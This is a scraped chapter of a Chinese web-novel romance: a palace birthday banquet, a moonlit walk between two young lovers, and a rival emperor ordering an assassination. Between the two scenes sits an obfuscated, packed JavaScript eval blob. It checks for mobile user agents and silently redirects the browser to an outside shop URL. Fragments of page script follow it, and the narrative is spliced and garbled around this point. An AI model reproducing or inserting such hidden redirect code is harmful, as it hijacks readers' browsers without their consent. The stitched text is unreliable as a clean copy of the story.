默认冷灰
24号文字
方正启体

128. 散步

作者:神千晓本书字数:K更新时间:
    等皇帝稳步登上高台,于御案之后安然落座,诸位臣子依序相继入席,整个过程井然有序,肃静无声,只闻衣袂摩挲与轻微的脚步在响动。


    片刻之后,开始传菜。一群绿衣侍女端着托盘穿梭于席间,一时间,杯盘如流水般次第摆放在众人案前,八珍玉食,琳琅满目,丰盛至极,另有年轻侍者垂手静立在旁,随时待命。


    高台之上,皇帝望着席下一片和谐之景微微昂首,然后清越嘹亮地开口讲话,言辞之中饱含慈爱与欣慰:“朕近来心中颇为喜悦,找寻多年,终于寻得了失踪皇妹的踪迹,且认回了她所遗之子!”


    说到这,她顿口,目光轻瞥向下座的百里烜赫,继而又道:“恰逢今日乃朕的侄儿十八岁的生辰,朕遂决定设此盛宴,将他引荐于诸位爱卿!”


    说罢,皇帝目光缓缓扫视全场。


    下一刻,殿中众人齐声恭贺,声音此起彼伏,盈满殿堂。


    宫宴正式拉开帷幕,一群宫廷乐师缓步入场,鸣钟击磬的声音相互应和,清越悠扬,余音袅袅。


    为首那乐师,穿一身青绿色丝质长袍,面若美玉,清逸出尘,奏一把古琴,姿态从容典雅,清灵的琴音自他指下倾泻而出,让人犹如置身幽静森林,耳边是清泉潺潺,莺声燕语。


    黎书意被他挥洒自如的琴艺所吸引,满是好奇地偏头,向身旁的魏慕依打听:“那抚琴之人是谁?”


    魏慕依顺着她的视线望去,随即笑道:“那是严千隐。”


    严千隐,作为一个爱丝竹雅韵的人,黎书意是听过此人名号的,他虽出身世家大族,但无意功名利禄,唯独热爱舞乐,凭借超逸绝伦的乐才而负盛名,擅抚琴、吹筚篥和奏羯鼓,且他还长于作曲,诸多妙曲皆传于坊间,黎书意还曾经弹唱过。


    听闻他之所以会加入皇家乐队,是为了能更好地搜集民乐,以便汇聚四方妙音,博采众长。


    因他技艺超凡,身份贵重,又时常外出采风,是以并不常上殿演奏,黎书意心道自己今次运气不错,她端坐在席间,认真欣赏。


    正听得入神,她忽而忆起一则流言,眸光不由自主地飘向花英,恰见花英正在看严千隐,难不成确如流言所说,这两人当真是爱侣?


    她暗自惊讶,就在这时,花英似有所感,瞥了过来,与她视线交汇,撞个正着,她顿时尴尬不已,忙移开目光。


    宫宴伊始,众宾规矩地端坐于各自的位置之上,一边悠然欣赏着丝竹歌舞,一边浅酌杯中美酒。


    到后来,在皇帝中途退场以后,气氛渐渐热烈起来,大臣们纷纷起身离席,手中端着斟满美酒的酒杯,径直朝着百里烜赫所在的桌案走去。


    他们含笑向他敬酒,祝贺问候连连,百里烜赫亦从容地应对着。等寒暄完了,那群人中的大半转身徐行来至黎家人所在席位,开始向黎横天、黎裕、黎长策敬酒。


    黎书意和叔母也未能闲着,不时有各家夫人与小姐上前攀谈,她们礼貌地回应着。


    在不知过了多久之后,见再没人上前,黎书意舒了一口气。


    抬头朝斜对面扫去,见百里烜赫那边亦没了客人,此时他也正向她看过来,那双漂亮的凤眸微微向左移动,意思似乎是示意她出去。


    下一刻,见他已然起身了,黎书意便也跟着起身,知会了兄长一句,她从兰亭手上拿过长木盒,然后绕过人群出去了。


    身后的乐声渐渐远离,殿外夜色弥漫,廊下立着一道挺拔修长的身影,黎书意走过去问:“找我何事?”


    “一起走走。”百里烜赫看了她一眼,然后迈步朝前走。


    她跟上去。


    夜幕低垂,皓月朗照,清辉盈满庭院,宫灯影影绰绰,与月光相互辉映,远远近近的景致显得朦朦胧胧。


    静谧的氛围里,百里烜赫打开话题问:“这两日都在干什么?”


    “闲来无事,看书。”


    “你就没有……”


    “没有什么?”黎书意猜到他想说什么,却明知故问。


    “我不习惯。”少年偏头看过来,深邃的眼眸里倾吐着对她的依恋。


    事实上她也很不习惯,不过她没有回应。


    两人又沉默地走了几步路,这时,她旁边的人忽然道:“最近你若是听到了什么风言风语,不要放在心上。”


    她闻言停下来,转脸抬眼问道:“你指的是李诗施和花英吗?”


    话音刚落,瞧见那墨玉一样的眸子里闪过一抹慌张,她轻笑一声,继续往下说:“听闻陛下有意在她们中择未来太子妃?”


    “那是姑母的想法,不是我的,也不一定是她们的。”少年义正辞严,说得有理有据。


    “哦?”她一副不信的模样,纠缠不休道,“万一陛下非要呢,或者说她们愿意呢?”


    “你知道的,我只对你——”少年正色凝视着她,漆黑的眼眸在月色映衬下散发着璀璨的微光,眼里除了浓烈的情意,还有对她开玩笑的不满。


    她见状彻底笑开,心里那一点点的不开心也一扫而空了,下一刻伸手递出自己拿了一路的礼物,并祝福道:“生辰快乐!”


    “是画吗?”百里烜赫看着她问。


    她点头,“我画的。”


    “我很喜欢。”


    “你都还没看呢。”她有些无语。


    这时耳边却传来少年的清音:“不看也知道。”


    这话很好地取悦了她。


    本来还想再说些什么,却听见大殿门口传出嘈杂的人声,她往那个方向望过去,见宴席已经散了,便回头对面前的人道:“我该走了……”


    “嗯。”百里烜赫点头,接着又补充说,“过几日不忙了,我再去看你。”


    “好。”黎书意笑应着,言毕转身走了。


    她人刚走到大殿门口的空地上,就看见父兄和叔父叔母也都出来了,于是便站在原地等待。


    等他们走过来,兄长往她身后的花园一扫,揶揄道:“见完了?”


    她不理会这番调侃。


    ……</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545787|204135||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    西景皇宫。


    下朝后,景帝一脸疲惫地进入御书房,在龙椅上坐下,他从胸腔里吐出长长一口浊气,回想起刚才朝会上议论的战事,他的眉毛不由自主地拧成一团。


    汉云和白义两地的起义军势头猛如星火燎原,朝廷陆续派出几员大将前去镇压,竟然都拿当地的暴民毫无办法,白榆更是趁火打劫,连夺了他两座城池,这前有狼后有虎的形势,他当真有些应对无能了。


    揉了揉眉心,他向御案外的燕大看过去,“丹霄那边的情况怎么样了?”


    最近一直被起义军的反抗和白榆的入侵困扰,他已经有小半月未了解百里烜赫和黎横天的动向了。


    燕大拿出随身携带的密信,然后走到御案前,双手呈上道:“陛下,这是今早刚从被派出的密探那里收到的密信。”


    景帝伸手接过,快速拆开来阅看,虽然已经料到不会是什么令自己高兴的消息,但是展信看见上面的文字时,他还是没法控制住自己的反应,纸张从失力的手上划落,片刻的愣怔过后,他开始变得愤怒和懊恼。


    命运还真会同他开玩笑,想不到那个地位低贱的商妇竟然是失踪多年的平阳公主百里好,他的弟弟和弟妹藏得可真深,这么多年来他竟丝毫未察觉到。


    仅是西景宗亲投靠丹霄就有够棘手的了,现在好了,百里烜赫摇身一变成了定王,这样一个拥有两国皇室血脉的人,活着便是对他的威胁。


    心里笼罩的恐惧感成倍滋生,他感觉有一支淬了剧毒的利箭已经瞄准了自己,不知道什么时候就会射出,要了他的命,不行,他绝不能放任自流。


    只是,眼下光是平息各地的内乱和抵御白榆的入侵就有些应付不过来了,哪里还分得出多余的兵力来对付丹霄呢?


    忖度良久,他眼睛一眯,旋即对燕大吩咐道:“派一批武艺高强的刺客秘密潜入丹霄,伺机刺杀百里烜赫。”


    尽管心里没底,但他暂时也只能如此了,无论如何,绝不能让百里烜赫在丹霄立稳根基,只希望那作为王储备选的寿王和睿靖郡主能给点力。


    谢煜然是隔天才知道百里烜赫竟然是丹霄二公主百里好之子的,真是惊喜一个接一个,他这位堂弟仿佛得到了上天的眷顾,不仅死里逃生,如今更是平步青云,如此看来,这下他算是彻底脱离威胁了吧。


    反观自己,自从从宿县回来,他便一直在禁足中,同时还被收归了许多权力,母后愤怒地前来责问他,问他为何要放走他们,还说若是他想得到黎书意,大可以等抓到人后,在处罚之时再下手,到时候她一个待罪之身的女子,还不是任由他搓圆揉扁。


    是啊,这听起来的确是个不错的办法,他也曾想到过这一层。可是,他终究无法像他们一样做到这一步。


    就如同现在,他明明忮忌得几近疯狂,恨不能将这个如影随形的对手千刀万剐。然而,一旦冷静下来,他却又什么都做不到了,因为他很清楚,百里烜赫从来没有对不起自己,相反地,是他,他们家对不起他。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)